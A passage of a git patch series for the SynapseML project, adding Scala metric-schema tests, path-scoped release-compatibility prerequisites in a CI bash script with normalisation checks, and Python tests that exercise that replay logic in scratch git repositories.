assert(schema.fieldNames.toList === MetricConstants.ClassificationColumns) + assert(!schema.fieldNames.contains(MetricConstants.AucColumnName)) + assert(!schema.fieldNames.contains(MetricConstants.AreaUnderPRColumnName)) + assert(result.columns.toList === expectedRuntimeColumns) + } + } + + test("classification schema without cardinality metadata retains the legacy common metrics") { + Seq(MetricConstants.AllSparkMetrics, MetricConstants.ClassificationMetricsName).foreach { metric => + val schema = rankedBinaryStatistics(metric).transformSchema(rankedBinaryDataset.schema) + + assert(schema.fieldNames.toList === MetricConstants.ClassificationColumns) + } + } + + test("transformSchema rejects binary-only metrics for multiclass MML categorical labels") { + val schema = CategoricalUtilities.setLevels( + spark.createDataFrame(Seq( + (0.0, 0.0), + (1.0, 1.0), + (2.0, 2.0))).toDF("label", "prediction"), + "label", + Array(0.0, 1.0, 2.0)).schema + + assertBinaryOnlyMetricsRejected(schema) + } + + test("transformSchema preserves binary-only metric schema when configured labelCol is absent") { + val schema = spark.createDataFrame(Seq( + (0.0, 0.9), + (1.0, 0.8))).toDF("prediction", "rawPrediction").schema + val evaluator = new ComputeModelStatistics() + .setLabelCol("label") + .setEvaluationMetric(MetricConstants.AreaUnderPRMetric) + + assert(evaluator.transformSchema(schema) === + StructType(Array(StructField(MetricConstants.AreaUnderPRColumnName, DoubleType)))) + } + + test("areaUnderPR rejects multiclass and unsupported metric inputs") { + val multiclass = spark.createDataFrame(Seq( + (0.0, 0.0, 0.9), + (1.0, 1.0, 0.8), + (2.0, 2.0, 0.7))).toDF("label", "prediction", "rawPrediction") + val multiclassError = intercept[Exception] { + new ComputeModelStatistics() + .setLabelCol("label") + .setScoredLabelsCol("prediction") + .setScoresCol("rawPrediction") + .setEvaluationMetric(MetricConstants.AreaUnderPRMetric) + .transform(multiclass) + } + assert(multiclassError.getMessage === "Error: areaUnderPR is not available for multiclass case") + + assertThrows[Exception] { + rankedBinaryStatistics("averagePrecision").transform(rankedBinaryDataset) + } + } + test("Verify multiclass evaluation is not slow for large number of labels") { val numRows = 4096 import spark.implicits._ @@ -187,7 +366,8 @@ class VerifyComputeModelStatistics extends TransformerFuzzing[ComputeModelStatis val _ = new ComputeModelStatistics().transform(scoredDataset) val evaluatedSchema = new ComputeModelStatistics().transformSchema(scoredDataset.schema) - assert(evaluatedSchema == StructType(MetricConstants.ClassificationColumns.map(StructField(_, DoubleType)))) + assert(evaluatedSchema == + StructType(MetricConstants.BinaryClassificationColumns.map(StructField(_, DoubleType)))) } test("Verify computing statistics on generic spark ML estimators is supported") { diff --git a/pipeline.yaml b/pipeline.yaml index 8489ed5d62c..ee61286a746 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -1029,21 +1029,123 @@ jobs: PREREQUISITES_CONFIG=".pipelines/release-compat-prerequisites.txt" CONFIGURED_PREREQUISITES=() + CONFIGURED_PREREQUISITE_SCOPES=() + CONFIGURED_PREREQUISITE_IS_SCOPED=() if git cat-file -e "$PR_MERGE_HEAD:$PREREQUISITES_CONFIG" 2>/dev/null; then LINE_NUMBER=0 while IFS= read -r RAW_LINE || [ -n "$RAW_LINE" ]; do LINE_NUMBER=$((LINE_NUMBER + 1)) - PREREQUISITE="${RAW_LINE#"${RAW_LINE%%[![:space:]]*}"}" - PREREQUISITE="${PREREQUISITE%"${PREREQUISITE##*[![:space:]]}"}" - case "$PREREQUISITE" in + LINE_WITHOUT_CR="${RAW_LINE%$'\r'}" + SCOPED_LINE="${LINE_WITHOUT_CR#"${LINE_WITHOUT_CR%%[![:space:]]*}"}" + TRIMMED_LINE="${SCOPED_LINE%"${SCOPED_LINE##*[![:space:]]}"}" + case "$TRIMMED_LINE" in ""|\#*) continue ;; esac + if [[ "$SCOPED_LINE" == *$'\t'* ]]; then + PREREQUISITE="${SCOPED_LINE%%$'\t'*}" + PREREQUISITE_SCOPE="${SCOPED_LINE#*$'\t'}" + PREREQUISITE_IS_SCOPED=true + else + PREREQUISITE="$TRIMMED_LINE" + PREREQUISITE_SCOPE="" + PREREQUISITE_IS_SCOPED=false + fi if [[ ! "$PREREQUISITE" =~ ^[0-9a-fA-F]{40}$ ]]; then - echo "##vso[task.logissue type=error]Invalid prerequisite at $PREREQUISITES_CONFIG:$LINE_NUMBER; expected a full 40-character commit SHA" + echo "##vso[task.logissue type=error]Invalid prerequisite at $PREREQUISITES_CONFIG:$LINE_NUMBER; expected a full 40-character commit SHA optionally followed by tab-separated paths" exit 1 fi + if [ "$PREREQUISITE_IS_SCOPED" = true ]; then + REMAINING_PATHS="$PREREQUISITE_SCOPE" + while true; do + if [[ "$REMAINING_PATHS" == *$'\t'* ]]; then + path="${REMAINING_PATHS%%$'\t'*}" + REMAINING_PATHS="${REMAINING_PATHS#*$'\t'}" + HAS_MORE_PATHS=true + else + path="$REMAINING_PATHS" + HAS_MORE_PATHS=false + fi + if [ -z "$path" ]; then + echo "##vso[task.logissue type=error]Scoped prerequisite $PREREQUISITE contains an empty path" + exit 1 + fi + TRIMMED_PATH="${path#"${path%%[![:space:]]*}"}" + TRIMMED_PATH="${TRIMMED_PATH%"${TRIMMED_PATH##*[![:space:]]}"}" + if [ "$path" != "$TRIMMED_PATH" ]; then + echo "##vso[task.logissue type=error]Scoped prerequisite path must not have leading or trailing whitespace: $path" + exit 1 + fi + case "$path" in + /*|.|./*) + echo "##vso[task.logissue type=error]Scoped prerequisite path must be repo-relative: $path" + exit 1 + ;; + esac + case "/$path/" in + */../*) + echo "##vso[task.logissue type=error]Scoped prerequisite path must not contain traversal: $path" + exit 1 + ;; + *//*|*/./*) + echo "##vso[task.logissue type=error]Scoped prerequisite path must be normalized: $path" + exit 1 + ;; + esac + if [ "$HAS_MORE_PATHS" = false ]; then + break + fi + done + else + if ! git cat-file -e "$PREREQUISITE^{commit}" 2>/dev/null; then + echo "##vso[task.logissue type=error]Release compatibility prerequisite $PREREQUISITE is unavailable" + exit 1 + fi + if ! git merge-base --is-ancestor "$PREREQUISITE" "$TARGET_HEAD"; then + echo "##vso[task.logissue type=error]Release compatibility prerequisite $PREREQUISITE is not an ancestor of PR target $TARGET_HEAD" + exit 1 + fi + fi + CONFIGURED_PREREQUISITES+=("$PREREQUISITE") + CONFIGURED_PREREQUISITE_SCOPES+=("$PREREQUISITE_SCOPE") + CONFIGURED_PREREQUISITE_IS_SCOPED+=("$PREREQUISITE_IS_SCOPED") + done < <(git show "$PR_MERGE_HEAD:$PREREQUISITES_CONFIG") + fi + + PREREQUISITE_COMMITS=() + PREREQUISITE_PATCHES=() + for index in "${!CONFIGURED_PREREQUISITES[@]}"; do + PREREQUISITE="${CONFIGURED_PREREQUISITES[$index]}" + PREREQUISITE_SCOPE="${CONFIGURED_PREREQUISITE_SCOPES[$index]}" + PREREQUISITE_IS_SCOPED="${CONFIGURED_PREREQUISITE_IS_SCOPED[$index]}" + PREREQUISITE_PATHS=() + PREREQUISITE_PATHSPECS=() + if [ "$PREREQUISITE_IS_SCOPED" = true ]; then + REMAINING_PATHS="$PREREQUISITE_SCOPE" + while true; do + if [[ "$REMAINING_PATHS" == *$'\t'* ]]; then + path="${REMAINING_PATHS%%$'\t'*}" + REMAINING_PATHS="${REMAINING_PATHS#*$'\t'}" + HAS_MORE_PATHS=true + else + path="$REMAINING_PATHS" + HAS_MORE_PATHS=false + fi + for REPLAY_PATH in "${REPLAY_PATHS[@]}"; do + if [ "$path" = "$REPLAY_PATH" ]; then + PREREQUISITE_PATHS+=("$path") + break + fi + done + if [ "$HAS_MORE_PATHS" = false ]; then + break + fi + done + if [ ${#PREREQUISITE_PATHS[@]} -eq 0 ]; then + echo "Scoped prerequisite $PREREQUISITE has no paths in this PR replay; skipping" + continue + fi if ! git cat-file -e "$PREREQUISITE^{commit}" 2>/dev/null; then echo "##vso[task.logissue type=error]Release compatibility prerequisite $PREREQUISITE is unavailable" exit 1 @@ -1052,29 +1154,60 @@ jobs: echo "##vso[task.logissue type=error]Release compatibility prerequisite $PREREQUISITE is not an ancestor of PR target $TARGET_HEAD" exit 1 fi - CONFIGURED_PREREQUISITES+=("$PREREQUISITE") - done < <(git show "$PR_MERGE_HEAD:$PREREQUISITES_CONFIG") - fi - - PREREQUISITE_COMMITS=() - PREREQUISITE_PATCHES=() - for PREREQUISITE in "${CONFIGURED_PREREQUISITES[@]}"; do + fi if ! PREREQUISITE_PARENT=$(git rev-parse "$PREREQUISITE^1" 2>/dev/null); then echo "##vso[task.logissue type=error]Release compatibility prerequisite $PREREQUISITE has no first parent" exit 1 fi - PREREQUISITE_PATHS=() - while IFS= read -r -d '' path; do - case "$path" in - .github/*|.pipelines/*|docs/*|templates/*|tools/acr/*|tools/ci/*|tools/docker/*|tools/helm/*|website/*) - ;; - pipeline.yaml|CODEOWNERS|CONTRIBUTING.md|LICENSE|README.md|SECURITY.md) - ;; - *) - PREREQUISITE_PATHS+=("$path") - ;; - esac - done < <(git diff --name-only -z "$PREREQUISITE_PARENT" "$PREREQUISITE") + if [ "$PREREQUISITE_IS_SCOPED" = true ]; then + for path in "${PREREQUISITE_PATHS[@]}"; do + if git diff --quiet "$PREREQUISITE_PARENT" "$PREREQUISITE" -- \ + ":(literal)$path"; then + echo "##vso[task.logissue type=error]Scoped path is not changed by prerequisite $PREREQUISITE: $path" + exit 1 + else + DIFF_STATUS=$? + if [ "$DIFF_STATUS" -ne 1 ]; then + echo "##vso[task.logissue type=error]Unable to validate scoped path for prerequisite $PREREQUISITE: $path" + exit 1 + fi + fi + if git cat-file -e "$PREREQUISITE_PARENT:$path" 2>/dev/null; then + echo "##vso[task.logissue type=error]Scoped path is not an add-only baseline in prerequisite $PREREQUISITE: $path" + exit 1 + fi + if ! PREREQUISITE_BLOB=$(git rev-parse "$PREREQUISITE:$path" 2>/dev/null); then + echo "##vso[task.logissue type=error]Scoped path is absent from prerequisite $PREREQUISITE: $path" + exit 1 + fi + if [ "$(git cat-file -t "$PREREQUISITE_BLOB")" != blob ]; then + echo "##vso[task.logissue type=error]Scoped prerequisite path is not a blob: $path" + exit 1 + fi + if ! TARGET_BLOB=$(git rev-parse "$TARGET_HEAD:$path" 2>/dev/null); then + echo "##vso[task.logissue type=error]Scoped path is absent from PR target $TARGET_HEAD: $path" + exit 1 + fi + if [ "$PREREQUISITE_BLOB" != "$TARGET_BLOB" ]; then + echo "##vso[task.logissue type=error]Scoped prerequisite blob does not match the PR target baseline: $path" + exit 1 + fi + PREREQUISITE_PATHSPECS+=(":(literal)$path") + done + else + while IFS= read -r -d '' path; do + case "$path" in + .github/*|.pipelines/*|docs/*|templates/*|tools/acr/*|tools/ci/*|tools/docker/*|tools/helm/*|website/*) + ;; + pipeline.yaml|CODEOWNERS|CONTRIBUTING.md|LICENSE|README.md|SECURITY.md) + ;; + *) + PREREQUISITE_PATHS+=("$path") + PREREQUISITE_PATHSPECS+=(":(literal)$path") + ;; + esac + done < <(git diff --name-only -z "$PREREQUISITE_PARENT" "$PREREQUISITE") + fi if [ ${#PREREQUISITE_PATHS[@]} -eq 0 ]; then echo "Prerequisite $PREREQUISITE has no release-relevant paths; skipping" @@ -1083,7 +1216,7 @@ jobs: PREREQUISITE_PATCH="$(Agent.TempDirectory)/release-compat-prerequisite-$PREREQUISITE.patch" git diff --binary --full-index "$PREREQUISITE_PARENT" "$PREREQUISITE" -- \ - "${PREREQUISITE_PATHS[@]}" > "$PREREQUISITE_PATCH" + "${PREREQUISITE_PATHSPECS[@]}" > "$PREREQUISITE_PATCH" if [ ! -s "$PREREQUISITE_PATCH" ]; then echo "##vso[task.logissue type=error]Prerequisite $PREREQUISITE produced an empty release patch" exit 1 @@ -1094,6 +1227,7 @@ jobs: echo "=== Attempting to apply release-relevant PR changes onto $(RELEASE_BRANCH) ===" git checkout --detach $RELEASE_TIP + git update-index --refresh for index in "${!PREREQUISITE_COMMITS[@]}"; do PREREQUISITE="${PREREQUISITE_COMMITS[$index]}" PREREQUISITE_PATCH="${PREREQUISITE_PATCHES[$index]}" diff --git a/tools/ci/tests/test_pipeline_yaml.py b/tools/ci/tests/test_pipeline_yaml.py index 2b5fa399719..3ac7f3635b8 100644 --- a/tools/ci/tests/test_pipeline_yaml.py +++ b/tools/ci/tests/test_pipeline_yaml.py @@ -27,6 +27,7 @@ RELEASE_COMPAT_PREREQUISITES = ( REPO_ROOT / ".pipelines" / "release-compat-prerequisites.txt" ) +ASCII_WHITESPACE = " \t\r\n\v\f" def _pipeline_text(): @@ -70,6 +71,41 @@ def _git(repo, *args): return result +def _init_release_compat_scratch_repo(repo): + subprocess.run( + ["git", "init", "--initial-branch=master", str(repo)], + check=True, + capture_output=True, + text=True, + ) + for key, value in ( + ("user.name", "Release Compat Test"), + ("user.email", "release-compat@example.test"), + ("core.autocrlf", "false"), + ("core.hooksPath", ".git/hooks-disabled"), + ("commit.gpgsign", "false"), + ("merge.autostash", "false"), + ("rebase.autostash", "false"), + ): + _git(repo, "config", key, value) + + +def _assert_git_clean(repo, context): + status = _git(repo, "status", "--short").stdout.strip() + assert not status, f"{context} left scratch repo dirty:\n{status}" + + +def _is_normalized_prerequisite_path(path): + return ( + bool(path) + and path == path.strip(ASCII_WHITESPACE) + and not any(character in path for character in "\t\r\n") + and not path.startswith("/") + and not path.endswith("/") + and all(part not in {"", ".", ".."} for part in path.split("/")) + ) + + def test_pipeline_and_templates_parse(): assert yaml.safe_load(PIPELINE.read_text()) is not None assert yaml.safe_load(CLEAN_ACR_PIPELINE.read_text()) is not None @@ -306,9 +342,36 @@ def test_release_compat_accepts_github_target_and_uses_one_sbt_process(): ) assert 'git show "$PR_MERGE_HEAD:$PREREQUISITES_CONFIG"' in rebase_script assert '[[ ! "$PREREQUISITE" =~ ^[0-9a-fA-F]{40}$ ]]' in rebase_script + assert "LINE_WITHOUT_CR=\"${RAW_LINE%$'\\r'}\"" in rebase_script + assert r"""[[ "$SCOPED_LINE" == *$'\t'* ]]""" in rebase_script + assert r"""[[ "$RAW_LINE" == *$'\t'* ]]""" not in rebase_script + assert "PREREQUISITE=\"${SCOPED_LINE%%$'\\t'*}\"" in rebase_script + assert "PREREQUISITE_SCOPE=\"${SCOPED_LINE#*$'\\t'}\"" in rebase_script + assert "CONFIGURED_PREREQUISITE_SCOPES=()" in rebase_script assert ( 'git merge-base --is-ancestor "$PREREQUISITE" "$TARGET_HEAD"' in rebase_script ) + assert 'case "/$path/" in' in rebase_script + assert ( + "Scoped prerequisite path must not have leading or trailing whitespace: $path" + in rebase_script + ) + assert "Scoped prerequisite path must be normalized: $path" in rebase_script + assert 'for REPLAY_PATH in "${REPLAY_PATHS[@]}"' in rebase_script + assert '[ "$path" = "$REPLAY_PATH" ]' in rebase_script + assert 'PREREQUISITE_PATHS+=("$path")' in rebase_script + assert "has no paths in this PR replay; skipping" in rebase_script + assert rebase_script.index('case "/$path/" in') < rebase_script.index( + 'for REPLAY_PATH in "${REPLAY_PATHS[@]}"' + ) + assert 'git diff --quiet "$PREREQUISITE_PARENT" "$PREREQUISITE" --' in rebase_script + assert 'git cat-file -e "$PREREQUISITE_PARENT:$path"' in rebase_script + assert 'git rev-parse "$PREREQUISITE:$path"' in rebase_script + assert 'git rev-parse "$TARGET_HEAD:$path"' in rebase_script + assert '[ "$PREREQUISITE_BLOB" != "$TARGET_BLOB" ]' in rebase_script + assert '":(literal)$path"' in rebase_script + assert '"${PREREQUISITE_PATHSPECS[@]}"' in rebase_script + assert "eval " not in rebase_script assert 'git rev-parse "$PREREQUISITE^1"' in rebase_script assert ( 'git diff --name-only -z "$PREREQUISITE_PARENT" "$PREREQUISITE"' @@ -379,17 +442,63 @@ def test_release_compat_accepts_github_target_and_uses_one_sbt_process(): assert "releaseCompatRequired" in result_steps[0]["condition"] -def test_release_compat_prerequisites_are_full_shas(): +def test_release_compat_prerequisites_have_valid_format(): lines = [ - line.strip() + line for line in RELEASE_COMPAT_PREREQUISITES.read_text().splitlines() if line.strip() and not line.lstrip().startswith("#") ] # The list is meant to drain to empty once every validated release branch carries the - # backports, and the replay script already treats an absent or empty list as a no-op, so - # only the shape of the entries that are present is validated here. - assert all(re.fullmatch(r"[0-9a-fA-F]{40}", line) for line in lines) - assert len(lines) == len(set(lines)), "prerequisite commits must be unique" + # backports, and the replay script already treats an absent or empty list as a no-op. + entries = [line.split("\t") for line in lines] + assert all(re.fullmatch(r"[0-9a-fA-F]{40}", fields[0]) for fields in entries) + assert all(all(fields[1:]) for fields in entries) + for _, *paths in entries: + assert all(_is_normalized_prerequisite_path(path) for path in paths) + shas = [fields[0] for fields in entries] + assert len(shas) == len(set(shas)), "prerequisite commits must be unique" + + +@pytest.mark.parametrize( + "path", + [ + "src/file.txt", + "src/file with spaces.txt", + "src/with repeated internal spaces.txt", + ".pipelines/release-compat-prerequisites.txt", + "src/.hidden/file", + "src/.../file", + ], +) +def test_release_compat_prerequisite_path_normalization_accepts_valid_paths(path): + assert _is_normalized_prerequisite_path(path) + + +@pytest.mark.parametrize( + "path", + [ + "", + ".", + "./src/file", + "/src/file", + "src/../file", + "src/..", + "src/./file", + "src/.", + "src//file", + "src/file/", + " src/file", + "src/file ", + "\tsrc/file", + "src/file\t", + "\rsrc/file", + "src/file\r", + "\nsrc/file", + "src/file\n", + ], +) +def test_release_compat_prerequisite_path_normalization_rejects_invalid_paths(path): + assert not _is_normalized_prerequisite_path(path) @pytest.mark.skipif(os.name != "posix", reason="release replay script requires Bash") @@ -402,14 +511,7 @@ def test_release_compat_replays_prerequisite_before_pr_patch(): try: repo.mkdir(parents=True) agent_temp.mkdir() - subprocess.run( - ["git", "init", "--initial-branch=master", str(repo)], - check=True, - capture_output=True, - text=True, - ) - _git(repo, "config", "user.name", "Release Compat Test") - _git(repo, "config", "user.email", "release-compat@example.test") + _init_release_compat_scratch_repo(repo) source_file = repo / "src" / "value.txt" source_file.parent.mkdir() @@ -432,6 +534,7 @@ def test_release_compat_replays_prerequisite_before_pr_patch(): _git(repo, "commit", "-m", "feature") _git(repo, "checkout", "master") + _assert_git_clean(repo, "checkout before synthetic PR merge") _git(repo, "merge", "--no-ff", "source", "-m", "merge feature") subprocess.run( @@ -467,6 +570,384 @@ def test_release_compat_replays_prerequisite_before_pr_patch(): shutil.rmtree(scratch_root, ignore_errors=True) +def _run_release_compat_with_scoped_config(scope): + scratch_root = ( + REPO_ROOT / "target" / f"release-compat-invalid-path-{uuid.uuid4().hex}" + ) + repo = scratch_root / "repo" + origin = scratch_root / "origin.git" + agent_temp = scratch_root / "agent" + + try: + repo.mkdir(parents=True) + agent_temp.mkdir() + _init_release_compat_scratch_repo(repo) + + pr_file = repo / "src" / "pr.txt" + pr_file.parent.mkdir() + pr_file.write_text("release base\n") + _git(repo, "add", ".") + _git(repo, "commit", "-m", "base") + base = _git(repo, "rev-parse", "HEAD").stdout.strip() + _git(repo, "branch", "release", base) + + _git(repo, "commit", "--allow-empty", "-m", "prerequisite marker") + prerequisite = _git(repo, "rev-parse", "HEAD").stdout.strip() + + _git(repo, "checkout", "-b", "source") + prerequisite_config = repo / ".pipelines" / "release-compat-prerequisites.txt" + prerequisite_config.parent.mkdir() + prerequisite_config.write_bytes(f"{prerequisite}\t{scope}".encode()) + pr_file.write_text("pull request change\n") + _git(repo, "add", ".") + _git(repo, "commit", "-m", "feature with invalid prerequisite path") + + target = _git(repo, "rev-parse", "master").stdout.strip() + source = _git(repo, "rev-parse", "source").stdout.strip() + source_tree = _git(repo, "rev-parse", f"{source}^{{tree}}").stdout.strip() + merge_commit = _git( + repo, + "commit-tree", + source_tree, + "-p", + target, + "-p", + source, + "-m", + "merge feature", + ).stdout.strip() + _git(repo, "checkout", "--detach", merge_commit) + _assert_git_clean(repo, "synthetic PR merge checkout") + + subprocess.run( + ["git", "init", "--bare", str(origin)], + check=True, + capture_output=True, + text=True, + ) + _git(repo, "remote", "add", "origin", str(origin)) + _git(repo, "push", "origin", "master", "source", "release") + + script = _release_compat_script() + script = script.replace("$(Agent.TempDirectory)", str(agent_temp)) + script = script.replace("$(RELEASE_BRANCH)", "release") + result = subprocess.run( + ["bash", "-c", script], + cwd=repo, + check=False, + capture_output=True, + text=True, + ) + + return result + finally: + shutil.rmtree(scratch_root, ignore_errors=True) + + +@pytest.mark.skipif(os.name != "posix", reason="release replay script requires Bash") +@pytest.mark.parametrize( + "invalid_path", + [ + "src/./scoped.txt", + "src//scoped.txt", + "src/scoped.txt/", + "src/scoped.txt/.", + ], + ids=["dot-segment", "repeated-slash", "trailing-slash", "terminal-dot"], +) +def test_release_compat_rejects_non_normalized_scoped_paths(invalid_path): + result = _run_release_compat_with_scoped_config(f"{invalid_path}\n") + + assert result.returncode != 0 + assert ( + f"Scoped prerequisite path must be normalized: {invalid_path}" in result.stdout + ) + + +@pytest.mark.skipif(os.name != "posix", reason="release replay script requires Bash") +@pytest.mark.parametrize( + ("scope", "expected_error"), + [ + ( + " src/scoped.txt\n", + "Scoped prerequisite path must not have leading or trailing whitespace", + ), + ( + "src/scoped.txt \n", + "Scoped prerequisite path must not have leading or trailing whitespace", + ), + ( + "src/scoped.txt \r\n", + "Scoped prerequisite path must not have leading or trailing whitespace", + ), + ( + "src/scoped.txt \tsrc/other.txt\r\n", + "Scoped prerequisite path must not have leading or trailing whitespace", + ), + ( + "src/scoped.txt\t src/other.txt\r\n", + "Scoped prerequisite path must not have leading or trailing whitespace", + ), + ("\tsrc/scoped.txt\r\n", "contains an empty path"), + ("src/scoped.txt\t\r\n", "contains an empty path"), + ], + ids=[ + "leading-space", + "trailing-space", + "trailing-space-crlf", + "first-path-trailing-space", + "second-path-leading-space", + "leading-tab", + "trailing-tab-crlf", + ], +) +def test_release_compat_rejects_scoped_path_field_whitespace(scope, expected_error): + result = _run_release_compat_with_scoped_config(scope) + + assert result.returncode != 0 + assert expected_error in result.stdout + + +@pytest.mark.skipif(os.name != "posix", reason="release replay script requires Bash") +@pytest.mark.parametrize( + ("config_prefix", "scoped_path", "config_suffix"), + [ + ("", "src/scoped.txt", "\n"), + ("", "src/scoped.txt", "\r\n"), + (" ", "src/scoped.txt", "\r\n"), + ("", "src/scoped file.txt", "\n"), + ], + ids=["normalized", "crlf", "leading-sha-whitespace", "internal-space"], +) +def test_release_compat_replays_scoped_missing_file_prerequisite_full_overlap( + config_prefix, scoped_path, config_suffix +): + scratch_root = REPO_ROOT / "target" / f"release-compat-scoped-{uuid.uuid4().hex}" + repo = scratch_root / "repo" + origin = scratch_root / "origin.git" + agent_temp = scratch_root / "agent" + + try: + repo.mkdir(parents=True) + agent_temp.mkdir() + _init_release_compat_scratch_repo(repo) + + base_file = repo / "base.txt" + base_file.write_text("release base\n") + _git(repo, "add", ".") + _git(repo, "commit", "-m", "base") + base = _git(repo, "rev-parse", "HEAD").stdout.strip() + _git(repo, "branch", "release", base) + + scoped_file = repo / scoped_path + unrelated_file = repo / "src" / "unrelated.txt" + scoped_file.parent.mkdir() + scoped_file.write_text("target baseline\n") + unrelated_file.write_text("must not be replayed\n") + _git(repo, "add", ".") + _git(repo, "commit", "-m", "prerequisite adds target files") + prerequisite = _git(repo, "rev-parse", "HEAD").stdout.strip() + + _git(repo, "checkout", "-b", "source") + prerequisite_config = repo / ".pipelines" / "release-compat-prerequisites.txt" + prerequisite_config.parent.mkdir() + prerequisite_config.write_bytes( + (f"{config_prefix}{prerequisite}\t{scoped_path}{config_suffix}").encode() + ) + scoped_file.write_text("pull request change\n") + _git(repo, "add", ".") + _git(repo, "commit", "-m", "feature modifies scoped file") + + _git(repo, "checkout", "master") + _assert_git_clean(repo, "checkout before synthetic PR merge") + _git(repo, "merge", "--no-ff", "source", "-m", "merge feature") + + subprocess.run( + ["git", "init", "--bare", str(origin)], + check=True, + capture_output=True, + text=True, + ) + _git(repo, "remote", "add", "origin", str(origin)) + _git(repo, "push", "origin", "master", "source", "release") + + script = _release_compat_script() + script = script.replace("$(Agent.TempDirectory)", str(agent_temp)) + script = script.replace("$(RELEASE_BRANCH)", "release") + result = subprocess.run( + ["bash", "-c", script], + cwd=repo, + check=False, + capture_output=True, + text=True, + ) + + assert result.returncode == 0, ( + f"scoped release replay failed\nstdout:\n{result.stdout}\n" + f"stderr:\n{result.stderr}" + ) + assert scoped_file.read_text() == "pull request change\n" + assert not unrelated_file.exists() + assert _git(repo, "diff", "--cached", "--name-only").stdout.splitlines() == [ + scoped_path + ] + assert f"Prerequisite {prerequisite} applies cleanly" in result.stdout + assert "PR changes apply cleanly onto release" in result.stdout + finally: + shutil.rmtree(scratch_root, ignore_errors=True) + + +@pytest.mark.skipif(os.name != "posix", reason="release replay script requires Bash") +def test_release_compat_skips_scoped_prerequisite_for_unrelated_pr_path(): + scratch_root = REPO_ROOT / "target" / f"release-compat-unrelated-{uuid.uuid4().hex}" + repo = scratch_root / "repo" + origin = scratch_root / "origin.git" + agent_temp = scratch_root / "agent" + + try: + repo.mkdir(parents=True) + agent_temp.mkdir() + _init_release_compat_scratch_repo(repo) + + pr_file = repo / "src" / "pr.txt" + pr_file.parent.mkdir() + pr_file.write_text("release base\n") + _git(repo, "add", ".") + _git(repo, "commit", "-m", "base") + base = _git(repo, "rev-parse", "HEAD").stdout.strip() + _git(repo, "branch", "release", base) + + scoped_file = repo / "src" / "scoped.txt" + _git(repo, "commit", "--allow-empty", "-m", "prerequisite marker") + prerequisite = _git(repo, "rev-parse", "HEAD").stdout.strip() + + _git(repo, "checkout", "-b", "source") + prerequisite_config = repo / ".pipelines" / "release-compat-prerequisites.txt" + prerequisite_config.parent.mkdir() + prerequisite_config.write_text(f"{prerequisite}\tsrc/scoped.txt\n") + pr_file.write_text("pull request change\n") + _git(repo, "add", ".") + _git(repo, "commit", "-m", "feature modifies unrelated file") + + _git(repo, "checkout", "master") + _assert_git_clean(repo, "checkout before synthetic PR merge") + _git(repo, "merge", "--no-ff", "source", "-m", "merge feature") + + subprocess.run( + ["git", "init", "--bare", str(origin)], + check=True, + capture_output=True, + text=True, + ) + _git(repo, "remote", "add", "origin", str(origin)) + _git(repo, "push", "origin", "master", "source", "release") + + script = _release_compat_script() + script = script.replace("$(Agent.TempDirectory)", str(agent_temp)) + script = script.replace("$(RELEASE_BRANCH)", "release") + result = subprocess.run( + ["bash", "-c", script], + cwd=repo, + check=False, + capture_output=True, + text=True, + ) + + assert result.returncode == 0, ( + f"unrelated-path release replay failed\nstdout:\n{result.stdout}\n" + f"stderr:\n{result.stderr}" + ) + assert pr_file.read_text() == "pull request change\n" + assert not scoped_file.exists() + assert _git(repo, "diff", "--cached", "--name-only").stdout.splitlines() == [ + "src/pr.txt" + ] + assert ( + f"Scoped prerequisite {prerequisite} has no paths in this PR replay; skipping" + in result.stdout + ) + assert f"Prerequisite {prerequisite} applies cleanly" not in result.stdout + assert "PR changes apply cleanly onto release" in result.stdout + finally: + shutil.rmtree(scratch_root, ignore_errors=True) + + +@pytest.mark.skipif(os.name != "posix", reason="release replay script requires Bash") +def test_release_compat_replays_only_partial_scoped_path_intersection(): + scratch_root = REPO_ROOT / "target" / f"release-compat-partial-{uuid.uuid4().hex}" + repo = scratch_root / "repo" + origin = scratch_root / "origin.git" + agent_temp = scratch_root / "agent" + + try: + repo.mkdir(parents=True) + agent_temp.mkdir() + _init_release_compat_scratch_repo(repo) + + base_file = repo / "base.txt" + base_file.write_text("release base\n") + _git(repo, "add", ".") + _git(repo, "commit", "-m", "base") + base = _git(repo, "rev-parse", "HEAD").stdout.strip() + _git(repo, "branch", "release", base) + + intersecting_file = repo / "src" / "intersecting.txt" + nonintersecting_file = repo / "src" / "nonintersecting.txt" + intersecting_file.parent.mkdir() + intersecting_file.write_text("target baseline\n") + _git(repo, "add", ".") + _git(repo, "commit", "-m", "prerequisite adds intersecting file") + prerequisite = _git(repo, "rev-parse", "HEAD").stdout.strip() + + _git(repo, "checkout", "-b", "source") + prerequisite_config = repo / ".pipelines" / "release-compat-prerequisites.txt" + prerequisite_config.parent.mkdir() + prerequisite_config.write_text( + f"{prerequisite}\tsrc/intersecting.txt\tsrc/nonintersecting.txt\n" + ) + intersecting_file.write_text("pull request change\n") + _git(repo, "add", ".") + _git(repo, "commit", "-m", "feature modifies one scoped file") + + _git(repo, "checkout", "master") + _assert_git_clean(repo, "checkout before synthetic PR merge") + _git(repo, "merge", "--no-ff", "source", "-m", "merge feature") + + subprocess.run( + ["git", "init", "--bare", str(origin)], + check=True, + capture_output=True, + text=True, + ) + _git(repo, "remote", "add", "origin", str(origin)) + _git(repo, "push", "origin", "master", "source", "release") + + script = _release_compat_script() + script = script.replace("$(Agent.TempDirectory)", str(agent_temp)) + script = script.replace("$(RELEASE_BRANCH)", "release") + result = subprocess.run( + ["bash", "-c", script], + cwd=repo, + check=False, + capture_output=True, + text=True, + ) + + assert result.returncode == 0, ( + f"partial scoped release replay failed\nstdout:\n{result.stdout}\n" + f"stderr:\n{result.stderr}" + ) + assert intersecting_file.read_text() == "pull request change\n" + assert not nonintersecting_file.exists() + assert _git(repo, "diff", "--cached", "--name-only").stdout.splitlines() == [ + "src/intersecting.txt" + ] + assert f"Prerequisite {prerequisite} applies cleanly" in result.stdout + assert "PR changes apply cleanly onto release" in result.stdout + finally: + shutil.rmtree(scratch_root, ignore_errors=True) + + def test_acr_cleanup_is_schedule_only_and_uses_dedicated_identity(): data = yaml.safe_load(CLEAN_ACR_PIPELINE.read_text()) assert data["trigger"] == "none" From 0af2055f3e691a9f1371322f9536548093a96257 Mon Sep 17 00:00:00 2001 From: SynapseML CI Date: Sun, 16 Aug 2026 00:25:17 -0700 Subject: [PATCH 76/93] fix: run DatabricksCPUStreamingTests in CI on Spark 4 branches PipelineTestCoverageSuite, which arrived from master in this sync, flagged DatabricksCPUStreamingTests as a suite that CI never executes. That class was added by the Spark 4.0 upgrade to isolate the "Deploying a Classifier" streaming notebook, whose server.stop() cancels all SparkContext jobs on 